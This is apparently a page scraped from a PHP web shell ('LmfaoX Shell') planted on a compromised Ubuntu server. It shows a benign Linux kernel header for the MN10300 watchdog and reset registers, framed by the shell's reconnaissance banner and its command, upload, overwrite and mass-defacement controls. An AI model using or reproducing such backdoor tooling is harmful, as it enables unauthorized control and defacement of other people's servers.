ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:22.22 GB of 70.42 GB (31.55%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ src/ linux-headers-3.0.0-14/ arch/ mn10300/ include/ asm/ - drwxr-xr-x

Directory:
Viewing file:     reset-regs.h (1.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* MN10300 Reset controller and watchdog timer definitions
 *
 * Copyright (C) 2007 Red Hat, Inc. All Rights Reserved.
 * Written by David Howells (dhowells@redhat.com)
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public Licence
 * as published by the Free Software Foundation; either version
 * 2 of the Licence, or (at your option) any later version.
 */

#ifndef _ASM_RESET_REGS_H
#define _ASM_RESET_REGS_H

#include <asm/cpu-regs.h>
#include <asm/exceptions.h>

#ifdef __KERNEL__

#ifdef CONFIG_MN10300_WD_TIMER
#define ARCH_HAS_NMI_WATCHDOG        /* See include/linux/nmi.h */
#endif

/*
 * watchdog timer registers
 */
#define WDBC            __SYSREGC(0xc0001000, u8) /* watchdog binary counter reg */

#define WDCTR            __SYSREG(0xc0001002, u8)  /* watchdog timer control reg */
#define WDCTR_WDCK        0x07    /* clock source selection */
#define WDCTR_WDCK_256th    0x00    /* - OSCI/256 */
#define WDCTR_WDCK_1024th    0x01    /* - OSCI/1024 */
#define WDCTR_WDCK_2048th    0x02    /* - OSCI/2048 */
#define WDCTR_WDCK_16384th    0x03    /* - OSCI/16384 */
#define WDCTR_WDCK_65536th    0x04    /* - OSCI/65536 */
#define WDCTR_WDRST        0x40    /* binary counter reset */
#define WDCTR_WDCNE        0x80    /* watchdog timer enable */

#define RSTCTR            __SYSREG(0xc0001004, u8) /* reset control reg */
#define RSTCTR_CHIPRST        0x01    /* chip reset */
#define RSTCTR_DBFRST        0x02    /* double fault reset flag */
#define RSTCTR_WDTRST        0x04    /* watchdog timer reset flag */
#define RSTCTR_WDREN        0x08    /* watchdog timer reset enable */

#ifndef __ASSEMBLY__

static inline void mn10300_proc_hard_reset(void)
{
    RSTCTR &= ~RSTCTR_CHIPRST;
    RSTCTR |= RSTCTR_CHIPRST;
}

extern unsigned int watchdog_alert_counter[];

extern void watchdog_go(void);
extern asmlinkage void watchdog_handler(void);
extern asmlinkage
void watchdog_interrupt(struct pt_regs *, enum exception_code);

#endif

#endif /* __KERNEL__ */

#endif /* _ASM_RESET_REGS_H */
Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.1868 seconds